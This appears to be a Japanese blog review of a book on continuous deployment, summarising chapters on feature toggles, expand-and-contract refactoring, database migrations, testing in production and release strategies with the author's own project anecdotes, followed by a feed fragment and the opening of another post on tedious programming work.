Contractパターンを適切に活用し、安全なデプロイを実現することも有効です。観測可能性を開発プロセスの中核に位置づけ、常に最新の状態を維持すること、そしてセキュリティとパフォーマンスの考慮を開発の初期段階から行い、事後的な問題を最小限に抑えることも重要です。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。Part III. During DevelopmentChapter 8. Adding New Features第8章「Adding New Features」は、継続的デプロイメントの環境下で新機能を追加する具体的なプロセスと戦略について深く掘り下げています。実際のユーザーストーリーを例に挙げながら、フィーチャートグルを活用した段階的な開発とデプロイメントの方法を詳細に解説しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を持つことが明確に示されています。継続的デプロイメントにおける新機能開発の基本戦略新機能開発の基本戦略として、現状(現在のコードベース)と目標状態(実装完了後のコードベース)を明確に定義し、その間を小さな増分で埋めていく方法を提案しています。このアウトサイドインアプローチは、特に印象的でした。私の経験からも、このアプローチは非常に効果的です。以前、大規模なEコマースプラットフォームで新機能を開発した際、最初はモノリシックな実装を計画していました。しかし、著者の提案するアプローチを採用することで、開発の初期段階から実際の本番環境でフィードバックを得ることができ、結果として顧客のニーズにより適した機能を迅速に提供することができました。特に重要だと感じたのは、フィーチャートグルの活用です。著者が強調するように、フィーチャートグルは開発中の機能を隠蔽し、安全に本番環境にデプロイするための強力なツールです。しかし、その使用には注意も必要です。私のチームでは、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装プロセスを段階的に説明しています。この例は、理論を実践に落とし込む上で非常に有用です。Figure 8-1. A mockup of the “last-minute items” feature より引用Figure 8-1では、「Last-Minute Items」機能のモックアップが示されており、ユーザーが最後の買い物を促すカルーセルが表示されています。この図は、実装の目標状態を視覚的に理解するのに役立ちます。特に印象的だったのは、各デプロイメントステップの詳細な説明です。フロントエンド、バックエンド、データベース層それぞれの変更を小さな単位で行い、各ステップで本番環境での検証を行う方法を示しています。Figure 8-5. The order of implementation from providers to consumers より引用Figure 8-5は、実装の順序を提供者からコンシューマーへと示しており、段階的な実装のアプローチを視覚化しています。一方、Figure 8-6は、コンシューマーから提供者への実装順序を示しており、アウトサイドインアプローチの利点を強調しています。Figure 8-6. The order of implementation from consumers to providers より引用この方法は、私が以前携わったマイクロサービスアーキテクチャのプロジェクトでも非常に効果的でした。各サービスを独立して開発・デプロイできることが大きな強みとなり、新機能の段階的なロールアウトが可能になりました。例えば、新しい支払い方法の導入時に、まず基本的なUIをデプロイし、次にバックエンドロジック、最後にデータベーススキーマの変更を行うことで、リスクを最小限に抑えつつ迅速に機能を提供することができました。一方で、この段階的なアプローチには課題もあります。特に、フィーチャートグルの管理が複雑になる可能性があります。多数のフィーチャートグルが存在する場合、それらの状態管理や清掃が煩雑になる可能性があります。この問題に対処するため、私のチームではフィーチャートグル管理システムを導入し、各トグルのライフサイクルを明確に定義しました。これにより、不要になったトグルの迅速な削除が可能になり、コードの複雑性を抑制することができました。Figure 8-9. The finished carousel UI with test products より引用Figure 8-9は、完成したカルーセルUIをテスト商品とともに示しており、段階的な実装の最終結果を視覚化しています。この図は、開発プロセス全体を通じて達成された進歩を示しています。結論この章から学んだ最も重要な教訓は、変更を小さな単位で行い、早期かつ頻繁にフィードバックを得ることの重要性です。これにより、リスクを最小限に抑えつつ、顧客のニーズにより適した機能を迅速に提供することが可能になります。著者のアプローチは非常に強力ですが、チームの状況や開発するシステムの特性に応じて適切にカスタマイズする必要があります。継続的デプロイメントの原則を理解し、それをプロジェクトの文脈に合わせて適用することが、成功への鍵となるでしょう。今後の実務においては、フィーチャートグルの戦略的な使用と管理、アウトサイドインアプローチによる段階的な実装、各デプロイメント段階での詳細な監視と検証、そしてチーム全体でのこのアプローチの理解と実践が重要になると考えています。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。承知しました。SREの観点からの考察を全体に散らして、内容を再構成します。Chapter 9. Refactoring Live Features第9章「Refactoring Live Features」は、継続的デプロイメント環境下で既存の機能をリファクタリングする方法に焦点を当てています。ライブシステムのリファクタリングが単なるコードの整理ではなく、ビジネス継続性を維持しながら、システムの進化を実現する重要なプロセスであることを強調しています。この章を通じて、著者は継続的デプロイメントがリファクタリングにもたらす課題と、それを克服するための具体的な戦略を明確に示しています。リファクタリングの重要性と課題著者はまず、ライブシステムのリファクタリングの重要性と、それに伴う課題について説明しています。継続的デプロイメント環境では、システムは常に稼働しており、ユーザーに影響を与えることなくリファクタリングを行う必要があります。これは、システムを止めることなく船の修理をするようなものだと言えます。私の経験では、この課題は特にマイクロサービスアーキテクチャにおいて顕著です。例えば、あるEコマースプラットフォームで、決済システムのリファクタリングを行った際、サービス間の依存関係を慎重に管理しながら、段階的に変更を加えていく必要がありました。一度に大きな変更を加えるのではなく、小さな変更を積み重ねることで、リスクを最小限に抑えつつ、システムを進化させることができました。著者が強調しているのは、バックワードコンパティビリティを維持しながら、小さな変更を継続的にデプロイすることの重要性です。これは、SREの観点からも非常に重要なポイントです。システムの安定性を維持しつつ、パフォーマンスや保守性を向上させるためには、この原則を徹底する必要があります。運用性の面では、このアプローチを採用することで、リファクタリング中のシステムの安定性が向上します。各段階でのロールバックが容易になり、問題が発生した場合の影響を最小限に抑えることができます。また、可観測性の観点からは、段階的なアプローチにより、各変更の影響を明確に観察することができます。これは、問題の早期発見と迅速な対応を可能にします。Expand and Contractパターンリファクタリングを安全に行うための主要な戦略として、Expand and Contractパターン(別名Parallel Change)を紹介しています。このパターンは、新旧の実装を並行して維持し、段階的に移行していくアプローチです。Figure 9-3. A high-level view of the expand and contract pattern for replacing old product IDs より引用Figure 9-3は、このパターンを視覚的に表現しており、非常に印象的でした。このアプローチは、特に複雑なシステムのリファクタリングで効果を発揮します。例えば、私が以前携わった金融システムのデータモデル変更では、このパターンを採用することで、数ヶ月にわたるマイグレーションプロセスを、ダウンタイムなしで実現することができました。Expand and Contractパターンの本質は、変更を段階的に行い、各段階で安全性を確保することです。これは、継続的デプロイメントの原則と完全に一致しています。SREの観点からも、このアプローチは監視とロールバックの容易さを保証するため、非常に有効です。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、バックワードコンパティビリティを維持することで、システム全体の安定性が確保されます。例えば、新旧の実装を並行して運用する際、両者のパフォーマンスを比較監視することで、潜在的な問題を事前に検出できます。複数層のプロバイダとコンシューマ複数層のプロバイダとコンシューマが存在する複雑なシステムでのリファクタリング戦略について詳しく説明しています。特に、内側から外側へのアプローチ(Inside-Out)を提案しており、これは非常に興味深い視点です。Figure 9-4. The expand and contract pattern on a multilayered application より引用Figure 9-4は、このアプローチを視覚的に表現しており、複雑なシステムでのリファクタリングの全体像を把握するのに役立ちます。私の経験では、このアプローチは特にマイクロサービスアーキテクチャで有効です。例えば、あるプロジェクトでAPIのバージョンアップを行った際、データベース層から始めて、バックエンドサービス、そしてフロントエンドへと段階的に変更を加えていきました。この内側から外側へのアプローチにより、各層での変更の影響を制御し、安全にリファクタリングを進めることができました。しかし、著者の主張に若干の疑問も感じました。実際のプロジェクトでは、完全に内側から外側へと進むことが難しい場合もあります。時には、ユーザー体験の改善を先行させるため、外側から内側へのアプローチが必要になることもあります。理想的には、内側から外側へのアプローチと外側から内側へのアプローチのバランスを取ることが重要だと考えています。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、具体的なリファクタリングのプロセスを段階的に説明しています。特に、製品IDシステムの変更という複雑なリファクタリングを通じて、Expand and Contractパターンの実践を示しています。この例は、理論を実践に落とし込む上で非常に有用です。例えば、データベーススキーマの変更、APIの更新、フロントエンドの修正など、各層での変更が詳細に説明されています。私の経験から、このような段階的なアプローチは、特に大規模なシステム変更において不可欠です。しかし、実際のプロジェクトではさらに複雑な状況に直面することがあります。例えば、レガシーシステムとの統合や、複数の異なるクライアントアプリケーションのサポートなど、追加の要素を考慮する必要があります。そのため、著者のアプローチを基礎としつつ、プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。私の経験では、このアプローチを採用することで、大規模なリファクタリングプロジェクトでも高い成功率を達成できました。例えば、あるプロジェクトでデータベースの移行を行った際、段階的なアプローチと詳細な監視を組み合わせることで、99.99%の可用性を維持しながら、移行を完了することができました。結論第9章「Refactoring Live Features」は、継続的デプロイメント環境下でのリファクタリングの重要性と、その実践方法について深い洞察を提供しています。著者が提案するExpand and Contractパターンと内側から外側へのアプローチは、複雑なシステムのリファクタリングを安全に行うための強力なフレームワークとなります。この章から学んだ最も重要な教訓は、リファクタリングを小さな、管理可能な段階に分割し、各段階でシステムの安定性と後方互換性を維持することの重要性です。これにより、リスクを最小限に抑えつつ、システムを継続的に改善することが可能になります。しかし、著者のアプローチをそのまま適用するだけでは不十分な場合もあります。実際のプロジェクトでは、レガシーシステムとの統合、複数のクライアントアプリケーションのサポート、厳格な規制要件など、追加の複雑性に直面することがあります。そのため、著者のアプローチを基礎としつつ、各プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。マイクロサービスアーキテクチャにおいては、サービス間の依存関係管理がさらに重要になります。APIの変更を行う際には、コンシューマードリブンコントラクトテスト(CDCT)を導入し、各サービスの互換性を継続的に検証することで、安全なリファクタリングを実現できます。今後の実務に活かすには、いくつかの重要なポイントに注目する必要があります。リファクタリングの各段階で明確な目標を設定し、その達成を測定可能にすることが重要です。また、自動化されたテストスイートを充実させ、各変更の影響を迅速に検証することも不可欠です。詳細な監視とアラートを設定し、問題の早期発見と迅速な対応を可能にすることも重要です。さらに、チーム全体でリファクタリングの重要性と方法論を共有し、継続的な改善文化を醸成すること、そして技術的負債の管理を戦略的に行い、計画的にリファクタリングを実施することも重要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。継続的デプロイメントの原則に基づいたリファクタリングアプローチを採用することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、さらに洗練されたリファクタリング戦略を構築していくことが重要です。複雑化するシステムに対応しつつ、継続的な改善を実現することは、現代のソフトウェアエンジニアリングにおける重要な課題で、この章の内容はその挑戦に立ち向かうための貴重な指針となるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社AmazonChapter 10. Data and Data Loss第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングと、それに伴うデータ損失のリスクについて深く掘り下げています。データベースの変更が単なるスキーマの修正ではなく、システム全体の整合性と安定性に大きな影響を与える重要な操作であることを強調しています。この章を通じて、著者はデータベースの変更を安全に行うための具体的な戦略と、それらの戦略が継続的デプロイメントの文脈でどのように適用されるかを明確に示しています。データベースリファクタリングの課題著者はまず、データベースリファクタリングが継続的デプロイメント環境下で直面する主要な課題について説明しています。特に印象的だったのは、データベースの変更とアプリケーションコードの変更を同時に行うことの危険性です。Figure 10-1. Incompatibility window during simultaneous changes より引用Figure 10-1は、同時変更によるインコンパティビリティのウィンドウを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの苦い経験を思い出しました。大規模なECサイトのリニューアルプロジェクトで、データベーススキーマの変更とアプリケーションコードの更新を同時にデプロイしたことがありました。結果として、デプロイ直後の数分間、一部のユーザーがエラーページを見ることになり、売上にも影響が出てしまいました。この経験から、データベースの変更は必ず独立したデプロイメントとして扱うことの重要性を痛感しました。著者の主張通り、データベースの変更はアプリケーションコードの変更とは別のライフサイクルで管理し、バックワードコンパティビリティを常に維持する必要があります。Expand and Contractパターンの適用著者は次に、Expand and Contractパターンをデータベースリファクタリングに適用する方法について詳しく説明しています。このパターンは、新旧のスキーマを一時的に共存させることで、安全な移行を実現する戦略です。Figure 10-2. Incompatibility window during simple expand and contract より引用しかし、著者が指摘するように、単純なExpand and Contractの適用では不十分な場合があります。特に、拡張フェーズと収縮フェーズの間にデータの不整合が生じる可能性がある点は重要です。Figure 10-2は、この問題を明確に示しています。私の経験でも、このパターンを適用する際には注意が必要でした。あるマイクロサービスアーキテクチャのプロジェクトで、ユーザープロファイルのスキーマを変更する際に、単純なExpand and Contractを適用したことがありました。しかし、移行期間中に新しいユーザー登録が行われ、新旧のスキーマに不整合が生じてしまいました。この経験から、データの整合性を維持するためには、アプリケーションレベルでの追加の対策が必要だと学びました。データベーストリガーとダブルライト戦略データベーストリガーとダブルライト戦略という2つの解決策を提案しています。特にダブルライト戦略は、実践的で効果的なアプローチだと感じました。この戦略を実際のプロジェクトに適用した経験があります。大規模なSaaSプラットフォームで、顧客データのスキーマを変更する必要がありました。我々はダブルライト戦略を採用し、新旧両方のカラムにデータを書き込むようにアプリケーションを修正しました。これにより、移行期間中もデータの整合性を維持しつつ、安全にスキーマを変更することができました。しかし、この戦略にも課題はあります。特に、パフォーマンスへの影響とコードの複雑性の増加は無視できません。我々のプロジェクトでも、ダブルライトによってデータベースの書き込み負荷が増加し、一時的にレイテンシが悪化しました。これに対処するため、書き込みのバッチ処理やキャッシュの最適化など、追加の対策が必要でした。ダブルリード戦略著者が提案するもう一つの戦略であるダブルリードも、実践的なアプローチです。この戦略は、読み取り操作で新旧両方のカラムをチェックすることで、移行期間中のデータアクセスの安全性を確保します。私が以前携わった金融系システムのマイグレーションプロジェクトでは、このダブルリード戦略を採用しました。口座情報のスキーマを変更する必要がありましたが、システムの性質上、一瞬たりともデータにアクセスできない状況は許されませんでした。ダブルリード戦略により、新旧のデータを並行して読み取ることで、移行中も確実にデータにアクセスできる状態を維持できました。ただし、この戦略を採用する際は、パフォーマンスへの影響を慎重に検討する必要があります。我々のケースでは、読み取り操作が増加することによるデータベース負荷の上昇が懸念されました。これに対処するため、キャッシュ層の強化やリードレプリカの追加など、インフラストラクチャレベルでの対策も並行して行いました。NoSQLデータベースへの適用著者は最後に、これらの戦略がNoSQLデータベースにも適用可能であることを説明しています。この点は特に重要だと感じました。現代のシステム開発では、RDBMSとNoSQLを併用するケースが増えていますが、NoSQLデータベースのスキーマレスな特性がリファクタリングを簡単にするわけではありません。私自身、MongoDBを使用したプロジェクトで同様の課題に直面しました。ドキュメントの構造を変更する必要がありましたが、既存のデータも大量に存在していました。我々は「マイグレーションオンリード」という戦略を採用し、読み取り時に古い形式のドキュメントを新しい形式に変換するロジックを実装しました。同時に、新しい書き込みは全て新形式で行うようにしました。しかし、この方法にも課題がありました。特に、読み取り時の変換処理によるパフォーマンスへの影響と、アプリケーションコードの複雑化は無視できませんでした。長期的には、バックグラウンドでの一括マイグレーションジョブを実行し、徐々に全てのデータを新形式に移行していく戦略を採用しました。結論第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングの複雑さと、それを安全に行うための戦略について深い洞察を提供しています。著者が提案する手法は、理論的に優れているだけでなく、実際のプロジェクトでも有効であることを、私自身の経験からも確認できました。特に重要だと感じたのは、データベースの変更を独立したデプロイメントとして扱うこと、バックワードコンパティビリティを常に維持すること、そしてデータの整合性を確保するための追加戦略(ダブルライトやダブルリードなど)を適用することです。これらの原則は、システムの安定性と信頼性を維持しつつ、継続的な改善を可能にする基盤となります。しかし、これらの戦略を採用する際は、パフォーマンスへの影響やコードの複雑性の増加といった副作用にも注意を払う必要があります。実際のプロジェクトでは、これらのトレードオフを慎重に評価し、適切な対策を講じることが重要です。今後のプロジェクトでは、この章で学んだ原則と戦略を基に、さらに洗練されたデータベースリファクタリングのアプローチを構築していきたいと考えています。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での適用方法、そしてNoSQLデータベースとの併用シナリオについて、さらに深く探求していく必要があるでしょう。継続的デプロイメントの文脈でデータベースリファクタリングを安全に行うことは、現代のソフトウェア開発における重要な課題の一つです。この章の内容は、その課題に立ち向かうための貴重な指針となるでしょう。同時に、各プロジェクトの特性や要件に応じて、これらの戦略をカスタマイズし、最適化していくことも忘れてはいけません。データの整合性と可用性を維持しつつ、システムを進化させていくことが、我々エンジニアの重要な責務なのです。Part IV. After DevelopmentChapter 11. Testing in Production第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境でのテストの重要性と実践方法について深く掘り下げています。本番環境でのテストが単なるリスクではなく、むしろソフトウェアの品質と信頼性を大幅に向上させる強力なツールであることを強調しています。この章を通じて、著者は本番環境でのテストの利点、具体的な実施方法、そしてそれが開発プロセス全体にどのような影響を与えるかを明確に示しています。本番環境でのテストの重要性著者はまず、本番環境でのテストが他の環境でのテストよりも優れている理由を詳細に説明しています。特に印象的だったのは、データ量の正確性、データ形状の正確性、リアルなリクエストパターン、そして実際のインフラストラクチャ構成などの点で、本番環境が圧倒的に優位であるという指摘です。Figure 11-2. The current state of the Groceroo checkout page より引用Figure 11-2は、本番環境と他の環境の違いを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの経験を思い出しました。大規模なマイクロサービスアーキテクチャを採用したシステムで、ステージング環境では完璧に動作していた新機能が、本番環境でパフォーマンス問題を引き起こしたことがありました。原因は、本番環境特有の複雑なデータ構造と高負荷状態でした。この経験から、本番環境でのテストの重要性を痛感しました。著者の主張の中で特に共感したのは、本番環境でのテストが単なるリスクテイキングではなく、むしろリスク軽減の手段になるという点です。確かに、本番環境で問題を早期に発見し、小規模な影響で修正できることは、大規模なリリース後の障害を防ぐ上で非常に有効です。しかし、著者の主張に若干の疑問も感じました。本番環境でのテストには確かに多くの利点がありますが、一方で慎重に管理されたステージング環境の価値も無視できません。特に、重大な障害が許されない金融系システムなどでは、段階的なアプローチが必要だと考えています。フィーチャートグルの活用著者は次に、本番環境でのテストを安全に行うための具体的な方法として、フィーチャートグルの活用について詳しく説明しています。クエリパラメータ、リクエストヘッダ、クッキー、ユーザー識別子などの様々な方法が紹介されています。私の経験では、フィーチャートグルの活用は本番環境でのテストを劇的に改善します。以前携わったプロジェクトでは、フィーチャートグルを導入することで、新機能のA/Bテストや段階的なロールアウトが可能になりました。特に、マイクロサービスアーキテクチャ環境では、各サービスの新バージョンを独立してテストできるようになり、リスクを大幅に軽減できました。一方で、フィーチャートグルの管理には課題もあります。トグルの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。この点について、著者の議論がもう少し深掘りされていれば良かったと感じました。私のチームでは、定期的なトグルの棚卸しと、トグルのライフサイクル管理を導入することで、この問題に対処しています。テストデータの管理本番環境でのテストにおけるテストデータの管理の重要性について強調しています。特に、テストデータと実データの分離、テストデータの漏洩防止について詳細に説明されています。この点は、SREの観点からも非常に重要です。テストデータの不適切な管理は、セキュリティリスクやコンプライアンス違反につながる可能性があります。私のチームでは、テストデータに特別なフラグを付け、本番環境でも安全に使用できるようにしています。また、テストデータの自動生成と定期的なクリーンアップを行うことで、データの鮮度と安全性を維持しています。著者の提案の中で特に興味深かったのは、テストデータを常に返すAPIの考え方です。これは、システム全体の一貫性を保つ上で非常に有効な方法だと感じました。ただし、この方法を採用する際は、パフォーマンスへの影響や、テストデータの管理コストについても慎重に検討する必要があります。本番環境でのデバッグ本番環境でのデバッグの難しさについても言及しています。特に、フロントエンドコードのデバッグに関する議論は非常に興味深かったです。ソースマップを本番環境で利用することについての著者の提案は、賛否両論あると思います。確かに、デバッグの容易さという点では大きなメリットがありますが、セキュリティの観点からは慎重に検討する必要があります。私の経験では、ソースマップを限定的に利用する方法(例えば、特定のIPアドレスからのアクセスに限定する)が有効でした。また、バックエンド側のデバッグについても言及があれば良かったと感じました。例えば、分散トレーシングやログ集約の重要性、エラー報告システムの構築などは、本番環境でのデバッグに不可欠な要素です。ステージング環境の役割再考著者は最後に、本番環境でのテストが十分に成熟した場合、ステージング環境の役割を再考する必要があると主張しています。この点については、完全に同意します。Figure 11-9. Testing in production and continuous delivery maturity より引用Figure 11-9は、テスト環境の進化を示しており、非常に示唆に富んでいます。確かに、多くの組織で複雑なステージング環境の維持に多大なリソースが費やされています。本番環境でのテストが十分に成熟すれば、これらのリソースをより価値のある活動に振り向けることができます。私の経験では、ステージング環境を完全に廃止するのではなく、その役割を再定義することが有効でした。例えば、自動化されたインテグレーションテストの実行や、大規模な移行テストの実施など、特定の目的に特化したステージング環境を維持することで、本番環境のリスクを最小限に抑えつつ、効率的なテストが可能になりました。結論第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境テストの重要性と実践方法について、深い洞察を提供しています。著者の主張は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。本番環境でのテストは、単なるリスクテイキングではなく、むしろシステムの信頼性と品質を大幅に向上させる強力なツールです。フィーチャートグルの活用、適切なテストデータ管理、そして成熟したデバッグ手法の組み合わせにより、安全かつ効果的な本番環境テストが可能になります。しかし、本番環境でのテストを成功させるためには、技術的な課題だけでなく、組織文化の変革も必要です。開発者、QA、運用チームの緊密な連携と、「失敗から学ぶ」文化の醸成が不可欠です。また、本番環境テストの成熟度に応じて、ステージング環境の役割を再考することも重要です。リソースの効率的な活用と、より迅速なフィードバックループの確立につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、より洗練された本番環境テスト戦略を構築していきたいと考えています。特に、フィーチャートグル管理の最適化、テストデータの自動生成と管理、そして分散システムにおけるデバッグ手法の改善に注力する必要があるでしょう。本番環境でのテストは、継続的デプロイメントの成功に不可欠な要素です。それは単にバグを早期に発見するだけでなく、システム全体の信頼性、スケーラビリティ、そして最終的にはユーザー満足度の向上につながります。この章の内容は、その挑戦に立ち向かうための貴重な指針となるでしょう。Chapter 12. Releasing第12章「Releasing」は、継続的デプロイメントの最終段階であるリリースプロセスに焦点を当てています。この章では、デプロイメントとリリースの違い、カナリーリリース、A/Bテスティングなど、安全かつ効果的にソフトウェアをユーザーに届けるための重要な概念と戦略が詳細に解説されています。デプロイメントとリリースの区別著者は冒頭で、デプロイメントとリリースの明確な区別を強調しています。デプロイメントは日常的な技術的イベントで、エンジニアリングニーズに基づいて1日に複数回行われる可能性があります。一方、リリースはビジネスイベントで、プロダクトニーズに基づいて独自のペースで行われます。この区別は、継続的デプロイメントの実践において極めて重要です。私自身、以前携わっていたプロジェクトで、この区別の重要性を痛感しました。デプロイメントとリリースを明確に分離することで、技術チームはコードの変更を頻繁に本番環境にプッシュしつつ、ビジネス側はユーザーへの機能公開のタイミングを戦略的にコントロールできるようになりました。例えば、ある大規模なECサイトのリニューアルプロジェクトでは、新機能のコードを数週間かけて段階的にデプロイしながら、実際のリリース(ユーザーへの公開)は大規模なマーケティングキャンペーンに合わせて一斉に行いました。これにより、技術的なリスクを最小限に抑えつつ、ビジネスインパクトを最大化することができました。フィーチャーフラグの重要性フィーチャーフラグをリリース管理の中心的なツールとして位置づけています。フィーチャーフラグは、コードのデプロイメントと機能のリリースを分離する強力なメカニズムです。私の経験からも、フィーチャーフラグの重要性は強調してもしきれません。以前、マイクロサービスアーキテクチャを採用したプロジェクトで、フィーチャーフラグを活用して新機能のロールアウトを制御しました。例えば、新しい決済システムの導入時には、まず社内ユーザーのみに機能を公開し、その後徐々にユーザーセグメントを拡大していきました。これにより、潜在的な問題を早期に発見し、大規模な障害を防ぐことができました。ただし、フィーチャーフラグの管理には課題もあります。フラグの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。私のチームでは、定期的なフラグの棚卸しと、フラグのライフサイクル管理を導入することで、この問題に対処しています。カナリーリリースカナリーリリースを新機能の安全な導入方法として詳細に説明しています。カナリーリリースは、新機能を限られたユーザーグループに段階的に公開し、その影響を監視しながら徐々に対象を拡大していく手法です。私自身、カナリーリリースの有効性を実感した経験があります。ある大規模なSaaSプラットフォームで、新しいデータ処理パイプラインを導入する際に、カナリーリリースを採用しました。最初は全トラフィックの1%に対して新パイプラインを有効にし、パフォーマンスと整合性を監視しました。問題が発見されなかったため、段階的にトラフィックを5%、10%、25%と増やしていきました。この段階的なアプローチにより、本番環境での予期せぬ問題を早期に発見し、修正することができました。例えば、トラフィックを10%に増やした際に、特定のケースでレイテンシが増加していることが分かりました。これにより、大規模な障害が起こる前に問題を特定し、修正することができました。A/BテスティングA/Bテスティングを製品開発の重要なツールとして紹介しています。A/Bテスティングは、異なるバージョンの機能を同時に比較し、ユーザー行動やビジネスメトリクスへの影響を測定する手法です。私の経験からも、A/Bテスティングは製品開発の意思決定プロセスを大きく改善する可能性があります。例えば、あるECサイトのチェックアウトフローの最適化プロジェクトでは、新旧2つのバージョンをA/Bテストしました。結果、新しいフローがコンバージョン率を8%向上させることが統計的に有意に示されました。これにより、新フローの全面的な導入を自信を持って決定することができました。しかし、A/Bテスティングには課題もあります。テストの設計、実行、結果の分析には多大な時間と労力が必要です。また、テスト期間中は複数のバージョンのコードを維持する必要があり、技術的な複雑性が増加します。私のチームでは、A/Bテスト専用のインフラストラクチャを構築し、テストの実施から結果の分析までを効率化することで、これらの課題に対処しています。カナリーリリースとA/Bテスティングの使い分けカナリーリリースとA/Bテスティングの違いと使い分けについて明確に説明しています。カナリーリリースは主にリリースのリスク軽減を目的としているのに対し、A/Bテスティングは製品実験とユーザー行動の理解を目的としています。この区別は重要ですが、実際のプロジェクトでは両方のアプローチを組み合わせて使用することが多いです。私の経験では、新機能をカナリーリリースで安全にデプロイした後、A/Bテストを実施してその効果を測定するという流れが効果的でした。例えば、新しい検索アルゴリズムの導入時には、まずカナリーリリースで全トラフィックの10%に新アルゴリズムを適用し、パフォーマンスと安定性を確認しました。問題がないことを確認後、残りの90%のトラフィックを使ってA/Bテストを実施し、新旧アルゴリズムのユーザーエンゲージメントと検索精度を比較しました。この方法により、技術的なリスクを最小限に抑えつつ、ビジネス面での効果を正確に測定することができました。結論フィーチャーフラグ、カナリーリリース、A/Bテスティングを効果的に活用することで、組織はリリースのリスクを最小限に抑えながら、データに基づいた製品開発の意思決定を行うことができると結論づけています。私自身の経験からも、これらの手法は継続的デプロイメントの成功に不可欠だと強く感じています。ただし、これらの手法を効果的に活用するためには、技術的な実装だけでなく、組織文化の変革も必要です。開発者、製品管理者、データアナリストなど、異なる役割の人々が緊密に連携し、迅速な意思決定と実行を行える体制を整えることが重要です。また、これらの手法を導入する際は、組織の規模、技術スタック、開発文化を考慮し、段階的に導入していくことをお勧めします。例えば、まずはシンプルなフィーチャーフラグから始め、徐々にカナリーリリース、そしてA/Bテスティングへと発展させていくアプローチが効果的でしょう。最後に、リリース戦略は常に進化し続けるべきものだと考えています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、継続的に自社のリリースプロセスを見直し、改善していく姿勢が重要です。この章で学んだ原則と手法を基礎としつつ、各組織やプロジェクトの特性に合わせてカスタマイズし、より効果的なリリース戦略を構築していくことが、継続的デプロイメントの成功につながるのだと確信しています。おわりに本書を読むのを通じて、継続的デプロイメントの全体像を探求できました。理論的な基礎から始まり、実際の開発サイクルにおける適用、そしてリリース戦略に至るまで、幅広いトピックをカバーしてました。特に印象的だったのは、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチを変革する可能性を持つことです。フィーチャーフラグ、カナリーリリース、A/Bテスティングなどの手法は、リスクを最小限に抑えつつ、データに基づいた意思決定を可能にします。継続的デプロイメントの実践は、常に進化し続けています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、私たちも常に学び、適応していく必要があります。なお、本読書感想文ではPart V. Case Studiesを省略しています。この部分では、実際の企業が継続的デプロイメントをどのように実践しているかの事例が紹介されています。これらの事例は、理論を実践に落とし込む上で非常に有益な洞察を提供しています。興味のある方は、ぜひ原書を手に取って読んでみることをお勧めします。最後に、継続的デプロイメントの導入を検討している読者の皆様に、エールを送りたいと思います。この旅は挑戦的ですが、同時に非常にやりがいのあるものです。成功だけでなく、失敗からも多くを学ぶことができるでしょう。ソフトウェア開発の景色は常に変化しています。皆様が継続的デプロイメントを通じて、どのような成果を上げ、どのような課題に直面するのか、ぜひフィードバックをお聞かせください。私たちエンジニアの共同体全体で、この実践をさらに発展させていけることを楽しみにしています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-10-01T23:04:53.000Z","dateMiliSeconds":1727823893000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"退屈な作業をなぜ避けるべきでないのか?もしくはちゃんとやる","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/20/171550","contentSnippet":"はじめにプログラミングは、本質的に創造性に満ちた営みであり、知的好奇心を刺激する活動です。これこそが、私がプログラミングに深い愛着を感じる主な理由であり、恐らく多くの方々も同じではないでしょうか?。プログラミングにおいて、各課題は独自性を持ち、その解決には常に新たな発想が求められます。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonしかしながら、全ての問題に同僚や上司を唸らす解決策が存在するわけではありません(もしくは自分の知らない美しい解決策があるのかもしれない)。どれほど刺激的なプロジェクトであっても、単調な作業が不可避な場面は必ず存在します。例えば、創造性を発揮しにくい定型業務や、誰もが敬遠しがちな煩雑な作業などが挙げられます。私たちは往々にして、こうした退屈な作業を後回しにし、より魅力的なタスクに取り組みたいという誘惑に駆られます。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO'Reilly 